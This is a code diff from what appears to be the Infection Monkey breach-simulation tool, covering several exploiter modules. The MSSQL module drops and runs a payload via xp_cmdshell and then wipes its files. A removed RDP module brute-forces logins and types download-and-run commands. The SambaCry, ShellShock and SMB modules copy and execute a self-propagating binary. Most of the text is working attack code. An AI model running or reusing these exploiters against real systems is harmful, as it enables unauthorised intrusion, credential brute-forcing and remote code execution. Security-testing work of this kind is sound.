shellcmds = [shellcmd1, shellcmd2, shellcmd3, shellcmd4]
|
||||
|
||||
# Checking to see if ftp server is up
|
||||
if self.ftp_server_p and self.ftp_server:
|
||||
try:
|
||||
# Running the cmd on remote host
|
||||
for cmd in shellcmds:
|
||||
self.cursor.execute(cmd)
|
||||
sleep(0.5)
|
||||
except Exception as e:
|
||||
LOG.error('Error sending the payload using xp_cmdshell to host', exc_info=True)
|
||||
self.ftp_server_p.terminate()
|
||||
return False
|
||||
return True
|
||||
else:
|
||||
LOG.error("Couldn't establish an FTP server for the dropout")
|
||||
return False
|
||||
|
||||
def execute_payload(self):
|
||||
|
||||
"""
|
||||
Executes the payload after ftp drop
|
||||
|
||||
Return:
|
||||
True if payload was executed successfully, False if not.
|
||||
"""
|
||||
|
||||
# Getting the payload's file name
|
||||
payload_file_name = os.path.split(self.payload_path)[1]
|
||||
|
||||
# Preparing the cmd to run on remote, using no_output so I can capture exit code: 0 -> success, 1 -> error.
|
||||
shellcmd = """DECLARE @i INT \
|
||||
EXEC @i=xp_cmdshell "chdir C:\\& C:\\tmp\\{0}", no_output \
|
||||
SELECT @i """.format(payload_file_name)
|
||||
|
||||
try:
|
||||
# Executing payload on remote host
|
||||
LOG.debug('Starting execution process of payload: {0} on remote host'.format(payload_file_name))
|
||||
self.cursor.execute(shellcmd)
|
||||
if self.cursor.fetchall()[0][0] == 0:
|
||||
# Success
|
||||
self.ftp_server_p.terminate()
|
||||
LOG.debug('Payload: {0} execution on remote host was a success'.format(payload_file_name))
|
||||
return True
|
||||
else:
|
||||
LOG.warning('Payload: {0} execution on remote host failed'.format(payload_file_name))
|
||||
self.ftp_server_p.terminate()
|
||||
return False
|
||||
|
||||
except pymssql.OperationalError as e:
|
||||
LOG.error('Executing payload: {0} failed'.format(payload_file_name), exc_info=True)
|
||||
self.ftp_server_p.terminate()
|
||||
return False
|
||||
|
||||
def cleanup_files(self):
|
||||
"""
|
||||
Cleans up the folder with the attack related files (C:\\tmp by default)
|
||||
:return: True or False if command executed or not.
|
||||
"""
|
||||
cleanup_command = """xp_cmdshell "rd /s /q c:\\tmp" """
|
||||
try:
|
||||
self.cursor.execute(cleanup_command)
|
||||
LOG.info('Attack files cleanup command has been sent.')
|
||||
return True
|
||||
except Exception as e:
|
||||
LOG.error('Error cleaning the attack files using xp_cmdshell, files may remain on host', exc_info=True)
|
||||
return False
|
||||
|
||||
def __init_ftp_server(self, host):
|
||||
"""
|
||||
Init an FTP server using FTP class on a different process
|
||||
|
||||
Return:
|
||||
ftp_s: FTP server object
|
||||
p: the process obj of the FTP object
|
||||
"""
|
||||
|
||||
try:
|
||||
ftp_s = FTP(host)
|
||||
multiprocessing.log_to_stderr(logging.DEBUG)
|
||||
p = multiprocessing.Process(target=ftp_s.run_server)
|
||||
p.start()
|
||||
LOG.debug('Successfully established an FTP server in another process: {0}, {1}'.format(ftp_s, p.name))
|
||||
return ftp_s, p
|
||||
except Exception as e:
|
||||
LOG.error('Exception raised while trying to pull up the ftp server', exc_info=True)
|
||||
return None, None
|
|
@ -1,341 +0,0 @@
|
|||
import os.path
|
||||
import threading
|
||||
import time
|
||||
from logging import getLogger
|
||||
|
||||
import rdpy.core.log as rdpy_log
|
||||
import twisted.python.log
|
||||
from rdpy.core.error import RDPSecurityNegoFail
|
||||
from rdpy.protocol.rdp import rdp
|
||||
from twisted.internet import reactor
|
||||
|
||||
from infection_monkey.exploit import HostExploiter
|
||||
from infection_monkey.exploit.tools import HTTPTools, get_monkey_depth
|
||||
from infection_monkey.exploit.tools import get_target_monkey
|
||||
from infection_monkey.model import RDP_CMDLINE_HTTP_BITS, RDP_CMDLINE_HTTP_VBS
|
||||
from infection_monkey.network.tools import check_tcp_port
|
||||
from infection_monkey.exploit.tools import build_monkey_commandline
|
||||
from infection_monkey.utils import utf_to_ascii
|
||||
from common.utils.exploit_enum import ExploitType
|
||||
|
||||
__author__ = 'hoffer'
|
||||
|
||||
KEYS_INTERVAL = 0.1
|
||||
MAX_WAIT_FOR_UPDATE = 120
|
||||
KEYS_SENDER_SLEEP = 0.01
|
||||
DOWNLOAD_TIMEOUT = 60
|
||||
RDP_PORT = 3389
|
||||
LOG = getLogger(__name__)
|
||||
|
||||
|
||||
def twisted_log_func(*message, **kw):
|
||||
if kw.get('isError'):
|
||||
error_msg = 'Unknown'
|
||||
if 'failure' in kw:
|
||||
error_msg = kw['failure'].getErrorMessage()
|
||||
LOG.error("Error from twisted library: %s" % (error_msg,))
|
||||
else:
|
||||
LOG.debug("Message from twisted library: %s" % (str(message),))
|
||||
|
||||
|
||||
def rdpy_log_func(message):
|
||||
LOG.debug("Message from rdpy library: %s" % (message,))
|
||||
|
||||
|
||||
twisted.python.log.msg = twisted_log_func
|
||||
rdpy_log._LOG_LEVEL = rdpy_log.Level.ERROR
|
||||
rdpy_log.log = rdpy_log_func
|
||||
|
||||
# thread for twisted reactor, create once.
|
||||
global g_reactor
|
||||
g_reactor = threading.Thread(target=reactor.run, args=(False,))
|
||||
|
||||
|
||||
class ScanCodeEvent(object):
|
||||
def __init__(self, code, is_pressed=False, is_special=False):
|
||||
self.code = code
|
||||
self.is_pressed = is_pressed
|
||||
self.is_special = is_special
|
||||
|
||||
|
||||
class CharEvent(object):
|
||||
def __init__(self, char, is_pressed=False):
|
||||
self.char = char
|
||||
self.is_pressed = is_pressed
|
||||
|
||||
|
||||
class SleepEvent(object):
|
||||
def __init__(self, interval):
|
||||
self.interval = interval
|
||||
|
||||
|
||||
class WaitUpdateEvent(object):
|
||||
def __init__(self, updates=1):
|
||||
self.updates = updates
|
||||
pass
|
||||
|
||||
|
||||
def str_to_keys(orig_str):
|
||||
result = []
|
||||
for c in orig_str:
|
||||
result.append(CharEvent(c, True))
|
||||
result.append(CharEvent(c, False))
|
||||
result.append(WaitUpdateEvent())
|
||||
return result
|
||||
|
||||
|
||||
class KeyPressRDPClient(rdp.RDPClientObserver):
|
||||
def __init__(self, controller, keys, width, height, addr):
|
||||
super(KeyPressRDPClient, self).__init__(controller)
|
||||
self._keys = keys
|
||||
self._addr = addr
|
||||
self._update_lock = threading.Lock()
|
||||
self._wait_update = False
|
||||
self._keys_thread = threading.Thread(target=self._keysSender)
|
||||
self._keys_thread.daemon = True
|
||||
self._width = width
|
||||
self._height = height
|
||||
self._last_update = 0
|
||||
self.closed = False
|
||||
self.success = False
|
||||
self._wait_for_update = None
|
||||
|
||||
def onUpdate(self, destLeft, destTop, destRight, destBottom, width, height, bitsPerPixel, isCompress, data):
|
||||
update_time = time.time()
|
||||
self._update_lock.acquire()
|
||||
self._last_update = update_time
|
||||
self._wait_for_update = False
|
||||
self._update_lock.release()
|
||||
|
||||
def _keysSender(self):
|
||||
LOG.debug("Starting to send keystrokes")
|
||||
while True:
|
||||
|
||||
if self.closed:
|
||||
return
|
||||
|
||||
if len(self._keys) == 0:
|
||||
reactor.callFromThread(self._controller.close)
|
||||
LOG.debug("Closing RDP connection to %s:%s", self._addr.host, self._addr.port)
|
||||
return
|
||||
|
||||
key = self._keys[0]
|
||||
|
||||
self._update_lock.acquire()
|
||||
time_diff = time.time() - self._last_update
|
||||
if type(key) is WaitUpdateEvent:
|
||||
self._wait_for_update = True
|
||||
self._update_lock.release()
|
||||
key.updates -= 1
|
||||
if key.updates == 0:
|
||||
self._keys = self._keys[1:]
|
||||
elif time_diff > KEYS_INTERVAL and (not self._wait_for_update or time_diff > MAX_WAIT_FOR_UPDATE):
|
||||
self._wait_for_update = False
|
||||
self._update_lock.release()
|
||||
if type(key) is ScanCodeEvent:
|
||||
reactor.callFromThread(self._controller.sendKeyEventScancode, key.code, key.is_pressed,
|
||||
key.is_special)
|
||||
elif type(key) is CharEvent:
|
||||
reactor.callFromThread(self._controller.sendKeyEventUnicode, ord(key.char), key.is_pressed)
|
||||
elif type(key) is SleepEvent:
|
||||
time.sleep(key.interval)
|
||||
|
||||
self._keys = self._keys[1:]
|
||||
else:
|
||||
self._update_lock.release()
|
||||
time.sleep(KEYS_SENDER_SLEEP)
|
||||
|
||||
def onReady(self):
|
||||
time.sleep(1)
|
||||
reactor.callFromThread(self._controller.sendKeyEventUnicode, ord('Y'), True)
|
||||
time.sleep(1)
|
||||
reactor.callFromThread(self._controller.sendKeyEventUnicode, ord('Y'), False)
|
||||
time.sleep(1)
|
||||
pass
|
||||
|
||||
def onClose(self):
|
||||
self.success = len(self._keys) == 0
|
||||
self.closed = True
|
||||
|
||||
def onSessionReady(self):
|
||||
LOG.debug("Logged in, session is ready for work")
|
||||
self._last_update = time.time()
|
||||
self._keys_thread.start()
|
||||
|
||||
|
||||
class CMDClientFactory(rdp.ClientFactory):
|
||||
def __init__(self, username, password="", domain="", command="", optimized=False, width=666, height=359):
|
||||
self._username = username
|
||||
self._password = password
|
||||
self._domain = domain
|
||||
self._keyboard_layout = "en"
|
||||
# key sequence: WINKEY+R,cmd /v,Enter,<command>&exit,Enter
|
||||
self._keys = [SleepEvent(1),
|
||||
ScanCodeEvent(91, True, True),
|
||||
ScanCodeEvent(19, True),
|
||||
ScanCodeEvent(19, False),
|
||||
ScanCodeEvent(91, False, True), WaitUpdateEvent()] + str_to_keys("cmd /v") + \
|
||||
[WaitUpdateEvent(), ScanCodeEvent(28, True),
|
||||
ScanCodeEvent(28, False), WaitUpdateEvent()] + str_to_keys(command + "&exit") + \
|
||||
[WaitUpdateEvent(), ScanCodeEvent(28, True),
|
||||
ScanCodeEvent(28, False), WaitUpdateEvent()]
|
||||
self._optimized = optimized
|
||||
self._security = rdp.SecurityLevel.RDP_LEVEL_NLA
|
||||
self._nego = True
|
||||
self._client = None
|
||||
self._width = width
|
||||
self._height = height
|
||||
self.done_event = threading.Event()
|
||||
self.success = False
|
||||
|
||||
def buildObserver(self, controller, addr):
|
||||
"""
|
||||
@summary: Build RFB observer
|
||||
We use a RDPClient as RDP observer
|
||||
@param controller: build factory and needed by observer
|
||||
@param addr: destination address
|
||||
@return: RDPClientQt
|
||||
"""
|
||||
|
||||
# create client observer
|
||||
self._client = KeyPressRDPClient(controller, self._keys, self._width, self._height, addr)
|
||||
|
||||
controller.setUsername(self._username)
|
||||
controller.setPassword(self._password)
|
||||
controller.setDomain(self._domain)
|
||||
controller.setKeyboardLayout(self._keyboard_layout)
|
||||
controller.setHostname(addr.host)
|
||||
if self._optimized:
|
||||
controller.setPerformanceSession()
|
||||
controller.setSecurityLevel(self._security)
|
||||
|
||||
return self._client
|
||||
|
||||
def clientConnectionLost(self, connector, reason):
|
||||
# try reconnect with basic RDP security
|
||||
if reason.type == RDPSecurityNegoFail and self._nego:
|
||||
LOG.debug("RDP Security negotiate failed on %s:%s, starting retry with basic security" %
|
||||
(connector.host, connector.port))
|
||||
# stop nego
|
||||
self._nego = False
|
||||
self._security = rdp.SecurityLevel.RDP_LEVEL_RDP
|
||||
connector.connect()
|
||||
return
|
||||
|
||||
LOG.debug("RDP connection to %s:%s closed" % (connector.host, connector.port))
|
||||
self.success = self._client.success
|
||||
self.done_event.set()
|
||||
|
||||
def clientConnectionFailed(self, connector, reason):
|
||||
LOG.debug("RDP connection to %s:%s failed, with error: %s" %
|
||||
(connector.host, connector.port, reason.getErrorMessage()))
|
||||
self.success = False
|
||||
self.done_event.set()
|
||||
|
||||
|
||||
class RdpExploiter(HostExploiter):
|
||||
|
||||
_TARGET_OS_TYPE = ['windows']
|
||||
EXPLOIT_TYPE = ExploitType.BRUTE_FORCE
|
||||
|
||||
def __init__(self, host):
|
||||
super(RdpExploiter, self).__init__(host)
|
||||
|
||||
def is_os_supported(self):
|
||||
if super(RdpExploiter, self).is_os_supported():
|
||||
return True
|
||||
|
||||
if not self.host.os.get('type'):
|
||||
is_open, _ = check_tcp_port(self.host.ip_addr, RDP_PORT)
|
||||
if is_open:
|
||||
self.host.os['type'] = 'windows'
|
||||
return True
|
||||
return False
|
||||
|
||||
def exploit_host(self):
|
||||
global g_reactor
|
||||
|
||||
is_open, _ = check_tcp_port(self.host.ip_addr, RDP_PORT)
|
||||
if not is_open:
|
||||
LOG.info("RDP port is closed on %r, skipping", self.host)
|
||||
return False
|
||||
|
||||
src_path = get_target_monkey(self.host)
|
||||
|
||||
if not src_path:
|
||||
LOG.info("Can't find suitable monkey executable for host %r", self.host)
|
||||
return False
|
||||
|
||||
# create server for http download.
|
||||
http_path, http_thread = HTTPTools.create_transfer(self.host, src_path)
|
||||
|
||||
if not http_path:
|
||||
LOG.debug("Exploiter RdpGrinder failed, http transfer creation failed.")
|
||||
return False
|
||||
|
||||
LOG.info("Started http server on %s", http_path)
|
||||
|
||||
cmdline = build_monkey_commandline(self.host, get_monkey_depth() - 1)
|
||||
|
||||
if self._config.rdp_use_vbs_download:
|
||||
command = RDP_CMDLINE_HTTP_VBS % {
|
||||
'monkey_path': self._config.dropper_target_path_win_32,
|
||||
'http_path': http_path, 'parameters': cmdline}
|
||||
else:
|
||||
command = RDP_CMDLINE_HTTP_BITS % {
|
||||
'monkey_path': self._config.dropper_target_path_win_32,
|
||||
'http_path': http_path, 'parameters': cmdline}
|
||||
|
||||
user_password_pairs = self._config.get_exploit_user_password_pairs()
|
||||
|
||||
if not g_reactor.is_alive():
|
||||
g_reactor.daemon = True
|
||||
g_reactor.start()
|
||||
|
||||
exploited = False
|
||||
for user, password in user_password_pairs:
|
||||
try:
|
||||
# run command using rdp.
|
||||
LOG.info("Trying RDP logging into victim %r with user %s and password '%s'",
|
||||
self.host, user, password)
|
||||
|
||||
LOG.info("RDP connected to %r", self.host)
|
||||
|
||||
user = utf_to_ascii(user)
|
||||
password = utf_to_ascii(password)
|
||||
command = utf_to_ascii(command)
|
||||
|
||||
client_factory = CMDClientFactory(user, password, "", command)
|
||||
|
||||
reactor.callFromThread(reactor.connectTCP, self.host.ip_addr, RDP_PORT, client_factory)
|
||||
|
||||
client_factory.done_event.wait()
|
||||
|
||||
if client_factory.success:
|
||||
exploited = True
|
||||
self.report_login_attempt(True, user, password)
|
||||
break
|
||||
else:
|
||||
# failed exploiting with this user/pass
|
||||
self.report_login_attempt(False, user, password)
|
||||
|
||||
except Exception as exc:
|
||||
LOG.debug("Error logging into victim %r with user"
|
||||
" %s and password '%s': (%s)", self.host,
|
||||
user, password, exc)
|
||||
continue
|
||||
|
||||
http_thread.join(DOWNLOAD_TIMEOUT)
|
||||
http_thread.stop()
|
||||
|
||||
if not exploited:
|
||||
LOG.debug("Exploiter RdpGrinder failed, rdp failed.")
|
||||
return False
|
||||
elif http_thread.downloads == 0:
|
||||
LOG.debug("Exploiter RdpGrinder failed, http download failed.")
|
||||
return False
|
||||
|
||||
LOG.info("Executed monkey '%s' on remote victim %r",
|
||||
os.path.basename(src_path), self.host)
|
||||
|
||||
return True
|
|
@ -4,7 +4,6 @@ import posixpath
|
|||
import re
|
||||
import time
|
||||
from io import BytesIO
|
||||
from os import path
|
||||
|
||||
import impacket.smbconnection
|
||||
from impacket.nmb import NetBIOSError
|
||||
|
@ -20,8 +19,11 @@ import infection_monkey.monkeyfs as monkeyfs
|
|||
from infection_monkey.exploit import HostExploiter
|
||||
from infection_monkey.model import DROPPER_ARG
|
||||
from infection_monkey.network.smbfinger import SMB_SERVICE
|
||||
from infection_monkey.exploit.tools import build_monkey_commandline, get_target_monkey_by_os, get_monkey_depth
|
||||
from infection_monkey.exploit.tools.helpers import build_monkey_commandline, get_target_monkey_by_os, get_monkey_depth
|
||||
from infection_monkey.exploit.tools.helpers import get_interface_to_target
|
||||
from infection_monkey.pyinstaller_utils import get_binary_file_path
|
||||
from common.utils.attack_utils import ScanStatus
|
||||
from infection_monkey.telemetry.attack.t1105_telem import T1105Telem
|
||||
|
||||
__author__ = 'itay.mizeretz'
|
||||
|
||||
|
@ -35,6 +37,7 @@ class SambaCryExploiter(HostExploiter):
|
|||
"""
|
||||
|
||||
_TARGET_OS_TYPE = ['linux']
|
||||
_EXPLOITED_SERVICE = "Samba"
|
||||
# Name of file which contains the monkey's commandline
|
||||
SAMBACRY_COMMANDLINE_FILENAME = "monkey_commandline.txt"
|
||||
# Name of file which contains the runner's result
|
||||
|
@ -51,11 +54,13 @@ class SambaCryExploiter(HostExploiter):
|
|||
SAMBACRY_MONKEY_COPY_FILENAME_32 = "monkey32_2"
|
||||
# Monkey copy filename on share (64 bit)
|
||||
SAMBACRY_MONKEY_COPY_FILENAME_64 = "monkey64_2"
|
||||
# Supported samba port
|
||||
SAMBA_PORT = 445
|
||||
|
||||
def __init__(self, host):
|
||||
super(SambaCryExploiter, self).__init__(host)
|
||||
|
||||
def exploit_host(self):
|
||||
def _exploit_host(self):
|
||||
if not self.is_vulnerable():
|
||||
return False
|
||||
|
||||
|
@ -63,9 +68,9 @@ class SambaCryExploiter(HostExploiter):
|
|||
LOG.info("Writable shares and their credentials on host %s: %s" %
|
||||
(self.host.ip_addr, str(writable_shares_creds_dict)))
|
||||
|
||||
self._exploit_info["shares"] = {}
|
||||
self.exploit_info["shares"] = {}
|
||||
for share in writable_shares_creds_dict:
|
||||
self._exploit_info["shares"][share] = {"creds": writable_shares_creds_dict[share]}
|
||||
self.exploit_info["shares"][share] = {"creds": writable_shares_creds_dict[share]}
|
||||
self.try_exploit_share(share, writable_shares_creds_dict[share])
|
||||
|
||||
# Wait for samba server to load .so, execute code and create result file.
|
||||
|
@ -80,15 +85,21 @@ class SambaCryExploiter(HostExploiter):
|
|||
trigger_result is not None, creds['username'], creds['password'], creds['lm_hash'], creds['ntlm_hash'])
|
||||
if trigger_result is not None:
|
||||
successfully_triggered_shares.append((share, trigger_result))
|
||||
url = "smb://%(username)s@%(host)s:%(port)s/%(share_name)s" % {'username': creds['username'],
|
||||
'host': self.host.ip_addr,
|
||||
'port': self.SAMBA_PORT,
|
||||
'share_name': share}
|
||||
self.add_vuln_url(url)
|
||||
self.clean_share(self.host.ip_addr, share, writable_shares_creds_dict[share])
|
||||
|
||||
for share, fullpath in successfully_triggered_shares:
|
||||
self._exploit_info["shares"][share]["fullpath"] = fullpath
|
||||
self.exploit_info["shares"][share]["fullpath"] = fullpath
|
||||
|
||||
if len(successfully_triggered_shares) > 0:
|
||||
LOG.info(
|
||||
"Shares triggered successfully on host %s: %s" % (
|
||||
self.host.ip_addr, str(successfully_triggered_shares)))
|
||||
self.add_vuln_port(self.SAMBA_PORT)
|
||||
return True
|
||||
else:
|
||||
LOG.info("No shares triggered successfully on host %s" % self.host.ip_addr)
|
||||
|
@ -258,7 +269,10 @@ class SambaCryExploiter(HostExploiter):
|
|||
|
||||
with monkeyfs.open(monkey_bin_64_src_path, "rb") as monkey_bin_file:
|
||||
smb_client.putFile(share, "\\%s" % self.SAMBACRY_MONKEY_FILENAME_64, monkey_bin_file.read)
|
||||
|
||||
T1105Telem(ScanStatus.USED,
|
||||
get_interface_to_target(self.host.ip_addr),
|
||||
self.host.ip_addr,
|
||||
monkey_bin_64_src_path).send()
|
||||
smb_client.disconnectTree(tree_id)
|
||||
|
||||
def trigger_module(self, smb_client, share):
|
||||
|
|
|
@ -6,11 +6,13 @@ from random import choice
|
|||
|
||||
import requests
|
||||
|
||||
from common.utils.attack_utils import ScanStatus
|
||||
from infection_monkey.exploit import HostExploiter
|
||||
from infection_monkey.exploit.tools import get_target_monkey, HTTPTools, get_monkey_depth
|
||||
from infection_monkey.exploit.tools.helpers import get_target_monkey, get_monkey_depth, build_monkey_commandline
|
||||
from infection_monkey.model import DROPPER_ARG
|
||||
from infection_monkey.exploit.shellshock_resources import CGI_FILES
|
||||
from infection_monkey.exploit.tools import build_monkey_commandline
|
||||
from infection_monkey.exploit.tools.http_tools import HTTPTools
|
||||
from infection_monkey.telemetry.attack.t1222_telem import T1222Telem
|
||||
|
||||
__author__ = 'danielg'
|
||||
|
||||
|
@ -18,6 +20,7 @@ LOG = logging.getLogger(__name__)
|
|||
TIMEOUT = 2
|
||||
TEST_COMMAND = '/bin/uname -a'
|
||||
DOWNLOAD_TIMEOUT = 300 # copied from rdpgrinder
|
||||
LOCK_HELPER_FILE = '/tmp/monkey_shellshock'
|
||||
|
||||
|
||||
class ShellShockExploiter(HostExploiter):
|
||||
|
@ -26,6 +29,7 @@ class ShellShockExploiter(HostExploiter):
|
|||
}
|
||||
|
||||
_TARGET_OS_TYPE = ['linux']
|
||||
_EXPLOITED_SERVICE = 'Bash'
|
||||
|
||||
def __init__(self, host):
|
||||
super(ShellShockExploiter, self).__init__(host)
|
||||
|
@ -35,7 +39,7 @@ class ShellShockExploiter(HostExploiter):
|
|||
) for _ in range(20))
|
||||
self.skip_exist = self._config.skip_exploit_if_file_exist
|
||||
|
||||
def exploit_host(self):
|
||||
def _exploit_host(self):
|
||||
# start by picking ports
|
||||
candidate_services = {
|
||||
service: self.host.services[service] for service in self.host.services if
|
||||
|
@ -65,7 +69,7 @@ class ShellShockExploiter(HostExploiter):
|
|||
exploitable_urls = [url for url in exploitable_urls if url[0] is True]
|
||||
|
||||
# we want to report all vulnerable URLs even if we didn't succeed
|
||||
self._exploit_info['vulnerable_urls'] = [url[1] for url in exploitable_urls]
|
||||
self.exploit_info['vulnerable_urls'] = [url[1] for url in exploitable_urls]
|
||||
|
||||
# now try URLs until we install something on victim
|
||||
for _, url, header, exploit in exploitable_urls:
|
||||
|
@ -105,6 +109,10 @@ class ShellShockExploiter(HostExploiter):
|
|||
LOG.info("Can't find suitable monkey executable for host %r", self.host)
|
||||
return False
|
||||
|
||||
if not self._create_lock_file(exploit, url, header):
|
||||
LOG.info("Another monkey is running shellshock exploit")
|
||||
return True
|
||||
|
||||
http_path, http_thread = HTTPTools.create_transfer(self.host, src_path)
|
||||
|
||||
if not http_path:
|
||||
|
@ -121,6 +129,8 @@ class ShellShockExploiter(HostExploiter):
|
|||
http_thread.join(DOWNLOAD_TIMEOUT)
|
||||
http_thread.stop()
|
||||
|
||||
self._remove_lock_file(exploit, url, header)
|
||||
|
||||
if (http_thread.downloads != 1) or (
|
||||
'ELF' not in self.check_remote_file_exists(url, header, exploit, dropper_target_path_linux)):
|
||||
LOG.debug("Exploiter %s failed, http download failed." % self.__class__.__name__)
|
||||
|
@ -130,6 +140,7 @@ class ShellShockExploiter(HostExploiter):
|
|||
chmod = '/bin/chmod +x %s' % dropper_target_path_linux
|
||||
run_path = exploit + chmod
|
||||
self.attack_page(url, header, run_path)
|
||||
T1222Telem(ScanStatus.USED, chmod, self.host).send()
|
||||
|
||||
# run the monkey
|
||||
cmdline = "%s %s" % (dropper_target_path_linux, DROPPER_ARG)
|
||||
|
@ -143,7 +154,7 @@ class ShellShockExploiter(HostExploiter):
|
|||
if not (self.check_remote_file_exists(url, header, exploit, self._config.monkey_log_path_linux)):
|
||||
LOG.info("Log file does not exist, monkey might not have run")
|
||||
continue
|
||||
|
||||
self.add_executed_cmd(cmdline)
|
||||
return True
|
||||
|
||||
return False
|
||||
|
@ -178,6 +189,17 @@ class ShellShockExploiter(HostExploiter):
|
|||
LOG.debug("URL %s does not seem to be vulnerable with %s header" % (url, header))
|
||||
return False,
|
||||
|
||||
def _create_lock_file(self, exploit, url, header):
|
||||
if self.check_remote_file_exists(url, header, exploit, LOCK_HELPER_FILE):
|
||||
return False
|
||||
cmd = exploit + 'echo AAAA > %s' % LOCK_HELPER_FILE
|
||||
self.attack_page(url, header, cmd)
|
||||
return True
|
||||
|
||||
def _remove_lock_file(self, exploit, url, header):
|
||||
cmd = exploit + 'rm %s' % LOCK_HELPER_FILE
|
||||
self.attack_page(url, header, cmd)
|
||||
|
||||
@staticmethod
|
||||
def attack_page(url, header, attack):
|
||||
result = ""
|
||||
|
|
|
@ -4,12 +4,14 @@ from impacket.dcerpc.v5 import transport, scmr
|
|||
from impacket.smbconnection import SMB_DIALECT
|
||||
|
||||
from infection_monkey.exploit import HostExploiter
|
||||
from infection_monkey.exploit.tools import SmbTools, get_target_monkey, get_monkey_depth
|
||||
from infection_monkey.exploit.tools.helpers import get_target_monkey, get_monkey_depth, build_monkey_commandline
|
||||
from infection_monkey.exploit.tools.smb_tools import SmbTools
|
||||
from infection_monkey.model import MONKEY_CMDLINE_DETACHED_WINDOWS, DROPPER_CMDLINE_DETACHED_WINDOWS
|
||||
from infection_monkey.network import SMBFinger
|
||||
from infection_monkey.network.tools import check_tcp_port
|
||||
from infection_monkey.exploit.tools import build_monkey_commandline
|
||||
from common.utils.exploit_enum import ExploitType
|
||||
from infection_monkey.telemetry.attack.t1035_telem import T1035Telem
|
||||
from common.utils.attack_utils import ScanStatus, UsageEnum
|
||||
|
||||
LOG = getLogger(__name__)
|
||||
|
||||
|
@ -17,6 +19,7 @@ LOG = getLogger(__name__)
|
|||
class SmbExploiter(HostExploiter):
|
||||
_TARGET_OS_TYPE = ['windows']
|
||||
EXPLOIT_TYPE = ExploitType.BRUTE_FORCE
|
||||
_EXPLOITED_SERVICE = 'SMB'
|
||||
KNOWN_PROTOCOLS = {
|
||||
'139/SMB': (r'ncacn_np:%s[\pipe\svcctl]', 139),
|
||||
'445/SMB': (r'ncacn_np:%s[\pipe\svcctl]', 445),
|
||||
|
@ -42,7 +45,7 @@ class SmbExploiter(HostExploiter):
|
|||
return self.host.os.get('type') in self._TARGET_OS_TYPE
|
||||
return False
|
||||
|
||||
def exploit_host(self):
|
||||
def _exploit_host(self):
|
||||
src_path = get_target_monkey(self.host)
|
||||
|
||||
if not src_path:
|
||||
|
@ -65,9 +68,15 @@ class SmbExploiter(HostExploiter):
|
|||
self._config.smb_download_timeout)
|
||||
|
||||
if remote_full_path is not None:
|
||||
LOG.debug("Successfully logged in %r using SMB (%s : %s : %s : %s)",
|
||||
self.host, user, password, lm_hash, ntlm_hash)
|
||||
LOG.debug("Successfully logged in %r using SMB (%s : (SHA-512) %s : (SHA-512) %s : (SHA-512) %s)",
|
||||
self.host,
|
||||
user,
|
||||
self._config.hash_sensitive_data(password),
|
||||
self._config.hash_sensitive_data(lm_hash),
|
||||
self._config.hash_sensitive_data(ntlm_hash))
|
||||
self.report_login_attempt(True, user, password, lm_hash, ntlm_hash)
|
||||
self.add_vuln_port("%s or %s" % (SmbExploiter.KNOWN_PROTOCOLS['139/SMB'][1],
|
||||
SmbExploiter.KNOWN_PROTOCOLS['445/SMB'][1]))
|
||||
exploited = True
|
||||
break
|
||||
else:
|
||||
|
@ -75,9 +84,15 @@ class SmbExploiter(HostExploiter):
|
|||
self.report_login_attempt(False, user, password, lm_hash, ntlm_hash)
|
||||
|
||||
except Exception as exc:
|
||||
LOG.debug("Exception when trying to copy file using SMB to %r with user:"
|
||||
" %s, password: '%s', LM hash: %s, NTLM hash: %s: (%s)", self.host,
|
||||
user, password, lm_hash, ntlm_hash, exc)
|
||||
LOG.debug(
|
||||
"Exception when trying to copy file using SMB to %r with user:"
|
||||
" %s, password (SHA-512): '%s', LM hash (SHA-512): %s, NTLM hash (SHA-512): %s: (%s)",
|
||||
self.host,
|
||||
user,
|
||||
self._config.hash_sensitive_data(password),
|
||||
self._config.hash_sensitive_data(lm_hash),
|
||||
self._config.hash_sensitive_data(ntlm_hash),
|
||||
exc)
|
||||
continue
|
||||
|
||||
if not exploited:
|
||||
|
@ -87,7 +102,8 @@ class SmbExploiter(HostExploiter):
|
|||
# execute the remote dropper in case the path isn't final
|
||||
if remote_full_path.lower() != self._config.dropper_target_path_win_32.lower():
|
||||
cmdline = DROPPER_CMDLINE_DETACHED_WINDOWS % {'dropper_path': remote_full_path} + \
|
||||
build_monkey_commandline(self.host, get_monkey_depth() - 1, self._config.dropper_target_path_win_32)
|
||||
build_monkey_commandline(self.host, get_monkey_depth() - 1,
|
||||
self._config.dropper_target_path_win_32)
|
||||
else:
|
||||
cmdline = MONKEY_CMDLINE_DETACHED_WINDOWS % {'monkey_path': remote_full_path} + \
|
||||
build_monkey_commandline(self.host, get_monkey_depth() - 1)
|
||||
|
@ -126,15 +142,19 @@ class SmbExploiter(HostExploiter):
|
|||
resp = scmr.hRCreateServiceW(scmr_rpc, sc_handle, self._config.smb_service_name, self._config.smb_service_name,
|
||||
lpBinaryPathName=cmdline)
|
||||
service = resp['lpServiceHandle']
|
||||
|
||||
try:
|
||||
scmr.hRStartServiceW(scmr_rpc, service)
|
||||
status = ScanStatus.USED
|
||||
except:
|
||||
status = ScanStatus.SCANNED
|
||||
pass
|
||||
T1035Telem(status, UsageEnum.SMB).send()
|
||||
scmr.hRDeleteService(scmr_rpc, service)
|
||||
scmr.hRCloseServiceHandle(scmr_rpc, service)
|
||||
|
||||
LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)",
|
||||
remote_full_path, self.host, cmdline)
|
||||
|
||||
self.add_vuln_port("%s or %s" % (SmbExploiter.KNOWN_PROTOCOLS['139/SMB'][1],
|
||||
SmbExploiter.KNOWN_PROTOCOLS['445/SMB'][1]))
|
||||
return True
|
||||
|
|
|
@ -1,16 +1,20 @@
|
|||
import StringIO
|
||||
import logging
|
||||
import time
|
||||
|
||||
import paramiko
|
||||
import StringIO
|
||||
|
||||
import infection_monkey.monkeyfs as monkeyfs
|
||||
from common.utils.exploit_enum import ExploitType
|
||||
from infection_monkey.exploit import HostExploiter
|
||||
from infection_monkey.exploit.tools import get_target_monkey, get_monkey_depth
|
||||
from infection_monkey.exploit.tools.helpers import get_target_monkey, get_monkey_depth, build_monkey_commandline
|
||||
from infection_monkey.exploit.tools.helpers import get_interface_to_target
|
||||
from infection_monkey.model import MONKEY_ARG
|
||||
from infection_monkey.network.tools import check_tcp_port
|
||||
from infection_monkey.exploit.tools import build_monkey_commandline
|
||||
from common.utils.exploit_enum import ExploitType
|
||||
from common.utils.attack_utils import ScanStatus
|
||||
from infection_monkey.telemetry.attack.t1105_telem import T1105Telem
|
||||
from infection_monkey.telemetry.attack.t1222_telem import T1222Telem
|
||||
|
||||
__author__ = 'hoffer'
|
||||
|
